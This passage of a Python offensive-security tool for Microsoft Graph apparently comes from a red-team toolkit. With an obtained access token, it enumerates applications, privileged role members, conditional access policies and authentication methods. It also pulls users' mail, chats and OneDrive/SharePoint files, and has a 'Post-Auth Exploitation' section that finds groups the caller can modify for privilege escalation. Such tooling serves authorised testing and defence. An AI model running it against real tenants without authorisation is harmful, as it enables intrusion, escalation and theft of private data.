Get-Application") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/myorganization/applications(appId='{args.id}')" # app id - #api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" # object id - if args.select: - api_url += "?$select=" + args.select - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - response = requests.get(api_url, headers=headers) - - if response.status_code == 200: - response_json = response.json() - - def parse_roleids(content): - soup = BeautifulSoup(content, 'html.parser') - permissions = {} - for h3 in soup.find_all('h3'): - permission_name = h3.get_text() - table = h3.find_next('table') - rows = table.find_all('tr') - application_id = rows[1].find_all('td')[1].get_text() - delegated_id = rows[1].find_all('td')[2].get_text() - application_description = rows[2].find_all('td')[1].get_text() - delegated_description = rows[2].find_all('td')[2].get_text() - application_consent = rows[4].find_all('td')[1].get_text() if len(rows) > 4 else "Unknown" - delegated_consent = rows[4].find_all('td')[2].get_text() if len(rows) > 4 else "Unknown" - permissions[application_id] = ('Application', permission_name, application_description, application_consent) - permissions[delegated_id] = ('Delegated', permission_name, delegated_description, delegated_consent) - return permissions - - script_dir = os.path.dirname(os.path.abspath(__file__)) - file_path = os.path.join(script_dir, '.github', 'graphpermissions.txt') - try: - with open(file_path, 'r') as file: - content = file.read() - except FileNotFoundError: - print_red(f"\n[-] The file {file_path} does not exist.") - sys.exit(1) - except Exception as e: - print_red(f"\n[-] An error occurred: {e}") - sys.exit(1) - - permissions = parse_roleids(content) - - for key, value in response_json.items(): - if key == "requiredResourceAccess": - if value: - print_green(f"{key}:") - for resource in value: - print_green(f" Resource App ID: {resource['resourceAppId']}") - for access in resource['resourceAccess']: - role_id = access['id'] - role_type = access['type'] - if role_id in permissions: - perm_type, role_name, description, consent_required = permissions[role_id] - print_green(f" Role ID: {role_id}") - print_green(f" Role Name: {role_name}") - print_green(f" Description: {description}") - print_green(f" Type: {role_type}") - print_green(f" Permission Type: {perm_type}") - print_green(f" Admin Consent Required: {consent_required}") - else: - print_red(f" Role ID: {role_id} (Information not found)") - print_red(f" Type: {role_type}") - print(" ---") - else: - print_red(f"{key} : No assignments") - elif key != "@odata.context": - print(f"{key}: {value}") - else: - print_red(f"[-] Failed to retrieve Azure Application details: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # get-appserviceprincipal - elif args.command and args.command.lower() == "get-appserviceprincipal": - if not args.id: - print_red("[-] Error: --id argument is required for Get-AppServicePrincipal command") - return - - print_yellow("\n[*] Get-AppServicePrincipal") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/servicePrincipals?$filter=appId+eq+'{args.id}'" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-serviceprincipal - elif args.command and args.command.lower() == "get-serviceprincipal": - if not args.id: - print_red("[-] Error: --id argument is required for Get-ServicePrincipal command") - return - - print_yellow("\n[*] Get-ServicePrincipal") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/servicePrincipals/{args.id}" - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - for key, value in response_json.items(): - if key != "@odata.context": - print(f"{key}: {value}") - - else: - print_red(f"[-] Failed to retrieve Service Principal details: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # get-serviceprincipalapproleassignments - elif args.command and args.command.lower() == "get-serviceprincipalapproleassignments": - print_yellow("\n[*] Get-ServicePrincipalAppRoleAssignments") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/servicePrincipals/{args.id}/appRoleAssignments" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-personalcontacts - elif args.command and args.command.lower() == "get-personalcontacts": - print_yellow("\n[*] Get-PersonalContacts") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/contacts" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-crosstenantaccesspolicy - elif args.command and args.command.lower() == "get-crosstenantaccesspolicy": - print_yellow("\n[*] Get-CrossTenantAccessPolicy") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/policies/crossTenantAccessPolicy" - if args.id: - api_url += f"/{args.id}" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-partnercrosstenantaccesspolicy - elif args.command and args.command.lower() == "get-partnercrosstenantaccesspolicy": - print_yellow("\n[*] Get-PartnerCrossTenantAccessPolicy") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/policies/crossTenantAccessPolicy/templates/multiTenantOrganizationPartnerConfiguration" - if args.id: - api_url += f"/{args.id}" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-userchatmessages - elif args.command and args.command.lower() == "get-userchatmessages": - if not args.id: - print_red("[-] Error: --id argument is required for Get-UserChatMessages command") - return - - print_yellow("\n[*] Get-UserChatMessages") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/chats" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-administrativeunitmember - elif args.command and args.command.lower() == "get-administrativeunitmember": - if not args.id: - print_red("[-] Error: --id argument is required for Get-AdministrativeUnitMember command") - return - - print_yellow("\n[*] Get-AdministrativeUnitMember") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/directory/administrativeUnits/{args.id}/members" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-onedrivefiles - elif args.command and args.command.lower() == "get-onedrivefiles": - print_yellow("\n[*] Get-OneDriveFiles") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/drive/root/children" - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/drive/root/children" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-userpermissiongrants - elif args.command and args.command.lower() == "get-userpermissiongrants": - print_yellow("\n[*] Get-UserPermissionGrants") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/permissionGrants" - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/permissionGrants" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-oauth2permissiongrants - elif args.command and args.command.lower() == "get-oauth2permissiongrants": - print_yellow("\n[*] Get-oauth2PermissionGrants") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/oauth2PermissionGrants" - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/oauth2PermissionGrants" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-messages - elif args.command and args.command.lower() == "get-messages": - print_yellow("\n[*] Get-Messages") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/messages" - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/messages" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-temporaryaccesspassword - elif args.command and args.command.lower() == "get-temporaryaccesspassword": - if not args.id: - print_red("[-] Error: --id argument is required for Get-TemporaryAccessPassword command") - return - - print_yellow("\n[*] Get-TemporaryAccessPassword") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/authentication/passwordMethods" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-password - elif args.command and args.command.lower() == "get-password": - if not args.id: - print_red("[-] Error: --id argument is required for Get-Password command") - return - - print_yellow("\n[*] Get-Password") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/passwordCredentials" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # list-authmethods - elif args.command and args.command.lower() == "list-authmethods": - print_yellow("\n[*] List-AuthMethods") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/authentication/methods" - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/authentication/methods" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # list-directoryroles - elif args.command and args.command.lower() == "list-directoryroles": - print_yellow("\n[*] List-DirectoryRoles") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/directoryRoles" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # list-notebooks - elif args.command and args.command.lower() == "list-notebooks": - print_yellow("\n[*] List-Notebooks") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/onenote/notebooks" - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/onenote/notebooks" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # list-conditionalaccesspolicies - elif args.command and args.command.lower() == "list-conditionalaccesspolicies": - print_yellow("\n[*] List-ConditionalAccessPolicies") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # list-conditionalauthenticationcontexts - elif args.command and args.command.lower() == "list-conditionalauthenticationcontexts": - print_yellow("\n[*] List-ConditionalAuthenticationContexts") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/identity/conditionalAccess/authenticationContextClassReferences" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # list-conditionalnamedlocations - elif args.command and args.command.lower() == "list-conditionalnamedlocations": - print_yellow("\n[*] List-ConditionalNamedLocations") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/identity/conditionalAccess/namedLocations" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # list-sharepointroot - elif args.command and args.command.lower() == "list-sharepointroot": - print_yellow("\n[*] List-SharePointRoot") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/sites/root" - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - - for key, value in response_json.items(): - if key != "@odata.context": - print(f"{key}: {value}") - - else: - print_red(f"[-] Failed to retrieve current user: {response.status_code}") - print_red(response.text) - - print("=" * 80) - - # list-sharepointsites - elif args.command and args.command.lower() == "list-sharepointsites": - print_yellow("\n[*] List-SharePointSites") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/sites" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # list-sharepointurls - elif args.command and args.command.lower() == "list-sharepointurls": - print_yellow("\n[*] List-SharePointURLs") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/search/query" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - data = { - "requests": [ - { - "entityTypes": ["drive"], - "query": { - "queryString": "*" - }, - "from": 0, - "size": 500, - "fields": [ - "webUrl" - ] - } - ] - } - - try: - response = requests.post(api_url, headers=headers, json=data, timeout=30) - response.raise_for_status() - - response_body = response.json() - - if 'value' in response_body: - for item in response_body['value']: - for hit in item.get('hitsContainers', []): - for result in hit.get('hits', []): - web_url = result.get('resource', {}).get('webUrl') - if web_url: - print(web_url) - else: - print_yellow("[-] No results found in the response.") - - next_link = response_body.get("@odata.nextLink") - while next_link: - response = requests.get(next_link, headers=headers, timeout=30) - response.raise_for_status() - response_body = response.json() - - if 'value' in response_body: - for item in response_body['value']: - for hit in item.get('hitsContainers', []): - for result in hit.get('hits', []): - web_url = result.get('resource', {}).get('webUrl') - if web_url: - print(web_url) - - next_link = response_body.get("@odata.nextLink") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to search data: {str(e)}") - if hasattr(e, 'response'): - print_red(e.response.text) - - print("=" * 80) - - # list-externalconnections - elif args.command and args.command.lower() == "list-externalconnections": - print_yellow("\n[*] List-ExternalConnections") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/external/connections" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # list-applications - elif args.command and args.command.lower() == "list-applications": - print_yellow("\n[*] List-Applications") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/applications" - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': 'Bearer ' + access_token, - 'Accept': 'application/json', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - - if response.status_code == 200: - applications = response.json() - else: - print_red(f"[-] Error: API request failed with status code {response.status_code}") - applications = None - - def parse_roleids(content): - soup = BeautifulSoup(content, 'html.parser') - permissions = {} - for h3 in soup.find_all('h3'): - permission_name = h3.get_text() - table = h3.find_next('table') - rows = table.find_all('tr') - application_id = rows[1].find_all('td')[1].get_text() - delegated_id = rows[1].find_all('td')[2].get_text() - application_description = rows[2].find_all('td')[1].get_text() - delegated_description = rows[2].find_all('td')[2].get_text() - application_consent = rows[4].find_all('td')[1].get_text() if len(rows) > 4 else "Unknown" - delegated_consent = rows[4].find_all('td')[2].get_text() if len(rows) > 4 else "Unknown" - permissions[application_id] = ('Application', permission_name, application_description, application_consent) - permissions[delegated_id] = ('Delegated', permission_name, delegated_description, delegated_consent) - return permissions - - script_dir = os.path.dirname(os.path.abspath(__file__)) - file_path = os.path.join(script_dir, '.github', 'graphpermissions.txt') - try: - with open(file_path, 'r') as file: - content = file.read() - except FileNotFoundError: - print_red(f"\n[-] The file {file_path} does not exist.") - sys.exit(1) - except Exception as e: - print_red(f"\n[-] An error occurred: {e}") - sys.exit(1) - - permissions = parse_roleids(content) - - if applications and 'value' in applications: - for app in applications['value']: - for key, value in app.items(): - if key == 'requiredResourceAccess': - if value: - print_green(f"{key}:") - for resource in value: - print_green(f" Resource App ID: {resource['resourceAppId']}") - for access in resource['resourceAccess']: - role_id = access['id'] - role_type = access['type'] - if role_id in permissions: - perm_type, role_name, description, consent_required = permissions[role_id] - print_green(f" Role ID: {role_id}") - print_green(f" Role Name: {role_name}") - print_green(f" Description: {description}") - print_green(f" Type: {role_type}") - print_green(f" Permission Type: {perm_type}") - print_green(f" Admin Consent Required: {consent_required}") - else: - print_red(f" Role ID: {role_id} (Information not found)") - print_red(f" Type: {role_type}") - print(" ---") - else: - print_red(f"{key} : No assignments") - else: - print(f"{key} : {value}") - print("\n") - print("=" * 80) - - # list-serviceprincipals - elif args.command and args.command.lower() == "list-serviceprincipals": - print_yellow("\n[*] List-ServicePrincipals") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/servicePrincipals" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # list-tenants - elif args.command and args.command.lower() == "list-tenants": - print_yellow("\n[*] List-Tenants") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/tenantRelationships/multiTenantOrganization/tenants" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # list-joinedteams - elif args.command and args.command.lower() == "list-joinedteams": - print_yellow("\n[*] List-JoinedTeams") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/joinedTeams" - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/joinedTeams" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # list-chats - elif args.command and args.command.lower() == "list-chats": - print_yellow("\n[*] List-Chats") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/chats" - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/chats" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # list-chatmessages - elif args.command and args.command.lower() == "list-chatmessages": - if not args.id: - print_red("[-] Error: --id argument is required for List-ChatMessages command") - return - - print_yellow("\n[*] List-ChatMessages") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/chats/{args.id}/messages" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # list-devices - elif args.command and args.command.lower() == "list-devices": - print_yellow("\n[*] List-Devices") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/devices" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - - # list-administrativeunits - elif args.command and args.command.lower() == "list-administrativeunits": - print_yellow("\n[*] List-AdministrativeUnits") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/directory/administrativeUnits" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # list-onedrives - elif args.command and args.command.lower() == "list-onedrives": - print_yellow("\n[*] List-OneDrives") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/drives" - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/drives" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # list-recentonedrivefiles - elif args.command and args.command.lower() == "list-recentonedrivefiles": - print_yellow("\n[*] List-RecentOneDriveFiles") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/drive/recent" - user_agent = get_user_agent(args) - headers = { - "Authorization": f"Bearer {access_token}", - "User-Agent": user_agent - } - try: - while api_url: - response = requests.get(api_url, headers=headers) - response.raise_for_status() - response_body = response.json() - filtered_data = response_body.get('value', []) - if filtered_data: - file_count = 1 - for d in filtered_data: - print_green(f"File {file_count}") - if args.select: - selected_fields = args.select.split(',') - for field in selected_fields: - value = d - for part in field.split('.'): - if isinstance(value, dict) and part in value: - value = value[part] - else: - value = None - break - if value is not None: - print(f"{field} : {value}") - else: - for key, value in d.items(): - if isinstance(value, (str, int, float, bool)): - print(f"{key} : {value}") - elif isinstance(value, dict): - print(f"{key} : {json.dumps(value, indent=2)}") - else: - print(f"{key} : {str(value)}") - print("\n") - file_count += 1 - else: - print_red("[-] No data found") - return - - api_url = response_body.get("@odata.nextLink") - except requests.RequestException as e: - print_red(f"[-] Error making request: {str(e)}") - print("=" * 80) - - # list-sharedonedrivefiles - elif args.command and args.command.lower() == "list-sharedonedrivefiles": - print_yellow("\n[*] List-SharedOneDriveFiles") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/drive/sharedWithMe" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # list-onedriveurls - elif args.command and args.command.lower() == "list-onedriveurls": - - print_yellow("\n[*] List-OneDriveURLs") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/search/query" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - data = { - "requests": [ - { - "entityTypes": ["driveItem"], # get OneDrive and SharePoint - no only OneDrive option - "query": { - "queryString": "*" - }, - "from": 0, - "size": 500, - "fields": [ - "webUrl" - ] - } - ] - } - - try: - response = requests.post(api_url, headers=headers, json=data, timeout=30) - response.raise_for_status() - - response_body = response.json() - - if 'value' in response_body: - for item in response_body['value']: - for hit in item.get('hitsContainers', []): - for result in hit.get('hits', []): - web_url = result.get('resource', {}).get('webUrl') - if web_url: - print(web_url) - else: - print_yellow("[-] No results found in the response.") - - next_link = response_body.get("@odata.nextLink") - while next_link: - response = requests.get(next_link, headers=headers, timeout=30) - response.raise_for_status() - response_body = response.json() - - if 'value' in response_body: - for item in response_body['value']: - for hit in item.get('hitsContainers', []): - for result in hit.get('hits', []): - web_url = result.get('resource', {}).get('webUrl') - if web_url: - print(web_url) - - next_link = response_body.get("@odata.nextLink") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to search data: {str(e)}") - if hasattr(e, 'response'): - print_red(e.response.text) - - print("=" * 80) - - - ########################## - # Post-Auth Exploitation # - ########################## - - # invoke-customquery - elif args.command and args.command.lower() == "invoke-customquery": - if not args.query: - print_red("[-] Error: --query argument is required for Invoke-CutstomQuery command") - return - - print_yellow("\n[*] Invoke-CutstomQuery") - print("=" * 80) - api_url = args.query - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - - if "@odata.context" in response_json: - del response_json["@odata.context"] - - print(json.dumps(response_json, indent=4)) - - else: - print_red(f"[-] Failed to retrieve query: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # invoke-search - elif args.command and args.command.lower() == "invoke-search": - if not args.search or not args.entity: - print_red("[-] Error: --search and --entity required for Invoke-Search command") - return - - print_yellow("\n[*] Invoke-Search") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/search/query" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - json_body = { - "requests": [ - { - "entityTypes": [args.entity], - "query": { - "queryString": args.search - } - } - ] - } - - response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) - if response.ok: - response_body = response.json() - - for key, value in response_body.items(): - if not key.startswith("@odata.context"): - pretty_value = json.dumps(value, indent=4) - print(f"{key}: {pretty_value}") - - url = response_body.get("@odata.nextLink") - if url: - response = requests.get(url, headers=headers) - response.raise_for_status() - response_body = response.json() - else: - print_red(f"[-] Failed to search data: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # find-privilegedroleusers - elif args.command and args.command.lower() == "find-privilegedroleusers": - print_yellow("\n[*] Find-PrivilegedRoleUsers") - print("=" * 80) - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - for role in roles: - api_url = f"https://graph.microsoft.com/v1.0/directoryRoles(roleTemplateId='{role['roleTemplateId']}')/members" - response = requests.get(api_url, headers=headers) - - if response.ok: - print_green(f"[+] Role: {role['displayName']}") - print(f"Description: {role['description']}") - response_body = response.json() - filtered_data = {key: value for key, value in response_body.items() if not key.startswith("@odata")} - format_list_style(filtered_data) - else: - print_red(f"[-] Role: {role['displayName']}") - print("=" * 80) - - # find-privilegedapplications - elif args.command and args.command.lower() == "find-privilegedapplications": - print_yellow("\n[*] Find-PrivilegedApplications") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/applications?$select=appId" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': 'Bearer ' + access_token, - 'Accept': 'application/json', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - applications = response.json() - app_ids = [app['appId'] for app in applications.get('value', [])] - else: - print_red(f"[-] Error: API request failed with status code {response.status_code}") - app_ids = [] - - service_principals = [] - for app_id in app_ids: - sp_api_url = f"https://graph.microsoft.com/v1.0/servicePrincipals?$filter=appId eq '{app_id}'&$select=id,appDisplayName" - sp_response = requests.get(sp_api_url, headers=headers) - - if sp_response.status_code == 200: - sp_data = sp_response.json() - for sp in sp_data.get('value', []): - service_principals.append({ - 'id': sp['id'], - 'appDisplayName': sp['appDisplayName'] - }) - else: - print_red(f"[-] Error: Service Principal API request failed for appId {app_id} with status code {sp_response.status_code}") - - app_role_assignments = {} - for sp in service_principals: - app_role_url = f"https://graph.microsoft.com/v1.0/servicePrincipals/{sp['id']}/appRoleAssignments" - app_role_response = requests.get(app_role_url, headers=headers) - - if app_role_response.status_code == 200: - assignments = app_role_response.json() - app_role_assignments[sp['id']] = { - 'appDisplayName': sp['appDisplayName'], - 'assignments': assignments.get('value', []) - } - else: - print_red(f"[-] Error: App Role Assignments API request failed for Service Principal ID {sp['id']}: {app_role_response.status_code}") - print_red(app_role_response.text) - - def parse_roleids(content): - soup = BeautifulSoup(content, 'html.parser') - permissions = {} - for h3 in soup.find_all('h3'): - permission_name = h3.get_text() - table = h3.find_next('table') - rows = table.find_all('tr') - application_id = rows[1].find_all('td')[1].get_text() - delegated_id = rows[1].find_all('td')[2].get_text() - application_description = rows[2].find_all('td')[1].get_text() - delegated_description = rows[2].find_all('td')[2].get_text() - application_consent = rows[4].find_all('td')[1].get_text() if len(rows) > 4 else "Unknown" - delegated_consent = rows[4].find_all('td')[2].get_text() if len(rows) > 4 else "Unknown" - permissions[application_id] = ('Application', permission_name, application_description, application_consent) - permissions[delegated_id] = ('Delegated', permission_name, delegated_description, delegated_consent) - return permissions - - script_dir = os.path.dirname(os.path.abspath(__file__)) - file_path = os.path.join(script_dir, '.github', 'graphpermissions.txt') - try: - with open(file_path, 'r') as file: - content = file.read() - except FileNotFoundError: - print_red(f"\n[-] The file {file_path} does not exist.") - sys.exit(1) - except Exception as e: - print_red(f"\n[-] An error occurred: {e}") - sys.exit(1) - - permissions = parse_roleids(content) - - # results - for sp_id, data in app_role_assignments.items(): - print(f"\nApplication: {data['appDisplayName']}") - if data['assignments']: - for assignment in data['assignments']: - app_role_id = assignment.get('appRoleId', 'N/A') - print_green(f"[+] App Role ID: {app_role_id}") - if app_role_id in permissions: - role_type, role_name, description, consent_required = permissions[app_role_id] - print_green(f"[+] Role Name: {role_name}") - print_green(f"[+] Description: {description}") - #print_green(f"[+] Role Type: {role_type}") # can only be application for appRoleAssignments, delegated role types use oauth2PermissionGrants - #print_green(f"[+] Admin Consent Required: {consent_required}") # admin consent required for all app graph perms - else: - print_red(f"[-] Role information not found for App Role ID: {app_role_id}") - print_green(f"[+] Resource: {assignment.get('resourceDisplayName', 'N/A')}") - print("---") - else: - print_red("[-] No role assignments") - print("=" * 80) - - # find-updatablegroups - elif args.command and args.command.lower() == "find-updatablegroups": - print_yellow("\n[*] Find-UpdatableGroups") - print("=" * 80) - graph_api_endpoint = "https://graph.microsoft.com/v1.0/groups" - estimate_access_endpoint = "https://graph.microsoft.com/beta/roleManagement/directory/estimateAccess" - - default_fields = ['id','displayName', 'description', 'isAssignableToRole', 'onPremisesSyncEnabled', 'mail', 'createdDateTime', 'visibility'] - - if args.select: - select_fields = args.select.split(',') - graph_api_endpoint += f"?$select=id,{args.select}" - else: - select_fields = default_fields - graph_api_endpoint += f"?$select=id,{','.join(select_fields)}" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - results = [] - while graph_api_endpoint: - try: - response = requests.get(graph_api_endpoint, headers=headers) - response.raise_for_status() - response_data = response.json() - for group in response_data['value']: - if 'id' not in group: - print_yellow(f"[-] Group without 'id' found, skipping") - continue - group_id = group['id'] - request_body = { - "resourceActionAuthorizationChecks": [ - { - "directoryScopeId": f"/{group_id}", - "resourceAction": "microsoft.directory/groups/members/update" - } - ] - } - while True: - try: - estimate_response = requests.post(estimate_access_endpoint, headers=headers, json=request_body) - estimate_response.raise_for_status() - estimate_data = estimate_response.json() - if estimate_data['value'][0]['accessDecision'] == "allowed": - group_out = {k: group.get(k) for k in select_fields if k in group} - results.append(group_out) - break - except requests.exceptions.HTTPError as e: - if e.response.status_code == 429: - print_yellow("[*] Requests throttled... sleeping for 5 seconds") - time.sleep(5) - else: - print_red(f"[-] Error estimating access for group: {str(e)}") - break - except requests.exceptions.RequestException as e: - print_red(f"[-] Error estimating access for group: {str(e)}") - break - graph_api_endpoint = response_data.get('@odata.nextLink') - except requests.exceptions.RequestException as e: - print_red(f"[-] Error fetching Groups: {str(e)}") - break - if results: - max_key_length = max(len(key) for result in results for key in result.keys()) - for result in results: - for key, value in result.items(): - print(f"{key:<{max_key_length}} : {value}") - print("") - else: - print_red("[-] No updatable groups found") - print("=" * 80) - - # find-dynamicgroups - elif args.command and args.command.lower() == "find-dynamicgroups": - print_yellow("\n[*] Find-DynamicGroups") - print("=" * 80) - graph_api_endpoint = "https://graph.microsoft.com/v1.0/groups" - estimate_access_endpoint = "https://graph.microsoft.com/beta/roleManagement/directory/estimateAccess" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - results = [] - - while graph_api_endpoint: - try: - while True: - try: - response = requests.get(graph_api_endpoint, headers=headers) - response.raise_for_status() - break - except requests.exceptions.HTTPError as e: - if e.response.status_code == 429: - print_yellow("[*] Requests throttled... sleeping 5 seconds") - time.sleep(5) - else: - raise - - response_data = response.json() - - for group in response_data['value']: - group_id = f"/{group['id']}" - request_body = { - "resourceActionAuthorizationChecks": [ - { - "directoryScopeId": group_id, - "resourceAction": "microsoft.directory/groups/members/update" - } - ] - } - - if group.get('membershipRule') is not None: - #print_green(f"[+] Found dynamic group: {group['displayName']}") - group_out = { - "Group Name": group.get('displayName'), - "Group ID": group.get('id'), - "Description": group.get('description'), - "Is Assignable To Role": group.get('isAssignableToRole'), - "On-Prem Sync Enabled": group.get('onPremisesSyncEnabled'), - "Mail": group.get('mail'), - "Created Date": group.get('createdDateTime'), - "Visibility": group.get('visibility'), - "MembershipRule": group.get('membershipRule'), - "Membership Rule Processing State": group.get('membershipRuleProcessingState') - } - results.append(group_out) - - graph_api_endpoint = response_data.get('@odata.nextLink') - - except requests.exceptions.RequestException as e: - print_red(f"[-] Error fetching Group IDs: {str(e)}") - break - - if results: - for result in results: - for key, value in result.items(): - print(f"{key:<35} : {value}") - print() - else: - 